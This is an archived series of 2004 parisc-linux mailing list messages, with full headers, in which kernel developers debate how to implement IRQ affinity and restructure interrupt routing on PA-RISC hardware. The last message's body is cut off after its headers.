References: <1093923097.3870.18.camel@mulgrave>
	<200408310913.47637.bjorn.helgaas@hp.com>
	<1093973378.3642.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623535 10865 80.91.229.3 (22 Nov 2014 02:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22847 invoked by uid 65534); 31 Aug 2004 17:43:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 31 Aug 2004 19:43:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 08AF73BE25; Tue, 31 Aug 2004 11:43:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13151-06; Tue, 31 Aug 2004 11:43:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E50563BE2F; Tue, 31 Aug 2004 11:43:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9AA3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:43:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13157-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:43:28 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id 76BC53BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:43:28 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 08F8910948; Tue, 31 Aug 2004 13:43:28 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 475CD41E944; Tue, 31 Aug 2004 11:43:17 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id C66821341DD;
	Tue, 31 Aug 2004 11:43:16 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22950-05; Tue, 31 Aug 2004 11:43:15 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 8C2191340D4;
	Tue, 31 Aug 2004 11:43:15 -0600 (MDT)
User-Agent: KMail/1.6.2
In-Reply-To: <1093973378.3642.5.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21921

On Tuesday 31 August 2004 11:29 am, James Bottomley wrote:
> On Tue, 2004-08-31 at 11:13, Bjorn Helgaas wrote:
> > You could support 32 (or 64) interrupts per processor if you wanted to,
> > though I think right now it's only 32 or 64 for the whole system.
> 
> Yes, but in order to do the affinity thing, we have to make it appear as
> if a single interrupt vector potentially belongs to all CPUs...

Ah, right.  But for large machines, it might be useful to have multiple
interrupt domains.  We're already pushing the ia64 limit of about 180
available vectors.  All the CPUs in a node could share a vector space,
so you could have affinity at least to CPUs close to the device.  Dunno
how that fits with the current affinity interfaces, though.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 18:43:57 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623536 10866 80.91.229.3 (22 Nov 2014 02:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10009 invoked by uid 65534); 31 Aug 2004 17:44:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 31 Aug 2004 19:44:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0C1A33BE8B; Tue, 31 Aug 2004 11:44:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13347-03; Tue, 31 Aug 2004 11:44:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6834D3BE87; Tue, 31 Aug 2004 11:44:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB2A13BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:44:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13151-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:44:00 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 2A5893BE2F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:44:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C2Cfm-00054i-0v; Tue, 31 Aug 2004 18:43:58 +0100
Content-Disposition: inline
In-Reply-To: <20040831171421.GC20353@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21922

On Tue, Aug 31, 2004 at 11:14:21AM -0600, Grant Grundler wrote:
> > There is, however, a bus based complication: not all parisc busses allow
> > an arbitrary device to send and interrupt to a CPU directly.  In
> > general, the older bus controllers: dino, cujo, etc cannot do this,
> 
> AFAIK, this is only true for HP V-class.
> And only because of some deficiency in the EPAC (CPU to X-bar chip?).
> It's not true for every other parisc platform I'm aware of.

But it's true for several of the subdevices of Lasi/Dino/Wax.

> PCI and GSC devices can master their own Transaction Based Interrupt (TBI).
> GSC device's EIM register are programmed directly with the target address
> and vector. PCI devices can master their own TBI if they can be told
> which address/data pair to use. E.g. clever scripting for NCR/SYM
> scsi chips would allow this and in fact HPUX 10.x c720 SCSI driver does.
> Otherwise PCI 2.2 (and later) devices can use MSI or MSI-X to
> the same effect. We just need to write the support glue
> to make it work for parisc.

That's all true, but doesn't help for Apricot lan, PS/2, serial, Harmony
audio, etc.

> > An older bus would allocate a single one, but would then register a
> > separate vector of interrupts (also a vector of struct
> > hw_interrupt_type) along with a callback to select the correct vector
> > for subsequent execution. 
> 
> I'd rather see one global array (at least 256 entries) with the CPU
> (and similar devices) getting a fixed number of consecutive entries.
> We should probably reserve the first 16 entries for EISA/ISA support
> like we did before.

I'm not sure that's a good idea.  It would give the impression that all
Lasi interrupts could be independently retargetted, which isn't true.
Note that Dino is a little more advanced and has two IRR registers,
so we could theoretically do some cool stuff with that ... but it's not
important enough, IMO.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: 31 Aug 2004 13:49:07 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <1093974552.3643.22.camel@mulgrave>
References: <1093923097.3870.18.camel@mulgrave> 
	<20040831171421.GC20353@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623536 10868 80.91.229.3 (22 Nov 2014 02:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11230 invoked by uid 65534); 31 Aug 2004 17:49:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 31 Aug 2004 19:49:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 177C53BE92; Tue, 31 Aug 2004 11:49:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13351-08; Tue, 31 Aug 2004 11:49:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 858723BE77; Tue, 31 Aug 2004 11:49:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 449293BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:49:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13351-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:49:17 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 820D63BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 11:49:16 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i7VHnDJ09262; Tue, 31 Aug 2004 13:49:13 -0400
In-Reply-To: <20040831171421.GC20353@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21923

On Tue, 2004-08-31 at 13:14, Grant Grundler wrote:
> I don't think this is techinically accurate. The data value written to
> the CPU's memory mapped register is transmitted across the bus as is.
> This external facing register then converts the (5 or 6 bits for PARISC)
> value to a bit mask before it reaches CR23 (EIRR).
> IIRC, the PA2.0 I/O ACD defines how the CPU MMIO space is laid out.

Yes, already apologised to Bjorn for that one.

> Thibaut and I started on this last year but didn't get to finish it.
> The net result is we have to dump the struct irq_region everywhere 
> and replace it with a global IRQ array.

Yes, I looked at your code.  what I'd like to do is slightly different
because I would have a static array of the actual CPU interrupts.

> > There is, however, a bus based complication: not all parisc busses allow
> > an arbitrary device to send and interrupt to a CPU directly.  In
> > general, the older bus controllers: dino, cujo, etc cannot do this,
> 
> AFAIK, this is only true for HP V-class.
> And only because of some deficiency in the EPAC (CPU to X-bar chip?).
> It's not true for every other parisc platform I'm aware of.

Actually, I meant the way the dino works: My dino device interrupts, the
dino hits the cpu interrupt, but the interrupt has to be routed back
into generic dino code to find out who actually interrupted and then
call their interrupt routine.

> PCI and GSC devices can master their own Transaction Based Interrupt (TBI).
> GSC device's EIM register are programmed directly with the target address
> and vector. PCI devices can master their own TBI if they can be told
> which address/data pair to use. E.g. clever scripting for NCR/SYM
> scsi chips would allow this and in fact HPUX 10.x c720 SCSI driver does.
> Otherwise PCI 2.2 (and later) devices can use MSI or MSI-X to
> the same effect. We just need to write the support glue
> to make it work for parisc.

Yes, I was basing the above on how we currently work rather than how we
could work.

> >  with
> > the result that processing interrupts in these busses is two-phase. 
> > When a device interrupts, the irq is fielded by the dino controller,
> > which has an interrupt register to interrogate the dino specific lines
> > and see which actual device interrupted and execute the appropriate irq
> > handling routine. The newer iosapic interrupt controllers don't require
> > this because every device attached to the iosapic can be programmed
> > directly with a CPU EIRR address and bit number. 
> 
> Only one nit: s/every device/every IRQ line/
> 
> In all cases, the interrupt controller is a surrogate which converts
> the line based interrupt into a TBI.
> 
> > The current parisc scheme involves IRQ regions.  Each region is tied to
> > a particular EIRR bit (CPU irq number)
> 
> Not exactly. An IRQ region groups a bunch of IRQ sources which are managed
> by one instance of the interrupt controller driver.
> 
> Simple examples to look are the CPU, dino, or lasi IRQ support.
> In those cases, a single register maps bits to "downstream" interrupt
> sources. We read the register and call the Interrupt Service Routines (ISR)
> which correspond to specific bits.
> 
> SAPIC is a more complicated since it involves multiple parents.
> But the same idea applies: each interrupt source was one entry
> in the "region". 

Yes, I was oversimplifying.  Basically the abstraction is unnecessary
for the SAPIC, which is why it looks slightly odd there.

> I'd rather see one global array (at least 256 entries) with the CPU
> (and similar devices) getting a fixed number of consecutive entries.
> We should probably reserve the first 16 entries for EISA/ISA support
> like we did before.

Well, I'd really rather see an IRQ hierarchy.  Currently our irq list is
a total fiction ... if we display what we actually have (namely the 32
or 64 interrupt lines with everything else hanging off them) it's more
intuitively obvious what's going on.

> It's alot of work. I think that's why thibaut and I ran out of steam
> before we finished it. I expect much of the work we did before would
> still apply.
> 
> Thibaut, you still have a diff or source laying around from that effort?
> I might but can't find it right now.

Well, moving to a single 32/64 global array and treating the older
busses as special cases hopefully simplifies this ... I 'll see though
as I get into it.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 12:06:35 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20040831180635.GF20353@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623536 10872 80.91.229.3 (22 Nov 2014 02:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28359 invoked by uid 65534); 31 Aug 2004 18:07:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 31 Aug 2004 20:07:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C541B3BE94; Tue, 31 Aug 2004 12:06:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13681-04; Tue, 31 Aug 2004 12:06:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BFA343BE8E; Tue, 31 Aug 2004 12:06:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C6F93BE77
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:06:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13681-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:06:38 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C3B203BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:06:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E0FC029812C; Tue, 31 Aug 2004 12:06:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22534-05; Tue, 31 Aug 2004 12:06:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AFC8E298121; Tue, 31 Aug 2004 12:06:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21924

On Tue, Aug 31, 2004 at 06:43:57PM +0100, Matthew Wilcox wrote:
...
> > I'd rather see one global array (at least 256 entries) with the CPU
> > (and similar devices) getting a fixed number of consecutive entries.
> > We should probably reserve the first 16 entries for EISA/ISA support
> > like we did before.
> 
> I'm not sure that's a good idea.

In linux-ia64-test-2.6.8.1/arch/ia64/kernel/iosapic.c:
        unsigned int    gsi_base;       /* first GSI assigned to this IOSAPIC */

Looks like that's what ia64 is doing and I don't see a problem with it.

One of the drawbacks of IRQ regions is they are 32 or 64 entries wide
regardless of many are actually used.

>  It would give the impression that all
> Lasi interrupts could be independently retargetted, which isn't true.

James mentioned this is a problem in his proprosal as well.
If we don't provide /proc/irq/<IRQ#>/smp_affinity, I don't see how
someone could be confused about it. Each IRQ entry will have
it's own function pointer to indicate if it supports redirection
or not.

I don't see how this related to single global array vs multiple arrays.

> Note that Dino is a little more advanced and has two IRR registers,
> so we could theoretically do some cool stuff with that ... but it's not
> important enough, IMO.

I agree.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 12:34:15 -0600
Lines: 88
Approved: news@gmane.org
Message-ID: <20040831183415.GG20353@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<1093974552.3643.22.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623537 10873 80.91.229.3 (22 Nov 2014 02:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11032 invoked by uid 65534); 31 Aug 2004 18:34:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 31 Aug 2004 20:34:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 72A2B3BDFF; Tue, 31 Aug 2004 12:34:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13681-10; Tue, 31 Aug 2004 12:34:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D1D993BE25; Tue, 31 Aug 2004 12:34:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14F0C3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:34:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13681-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:34:18 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8A5CE3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:34:17 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 94B0629812C; Tue, 31 Aug 2004 12:34:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22789-10; Tue, 31 Aug 2004 12:34:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 83B41298121; Tue, 31 Aug 2004 12:34:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1093974552.3643.22.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
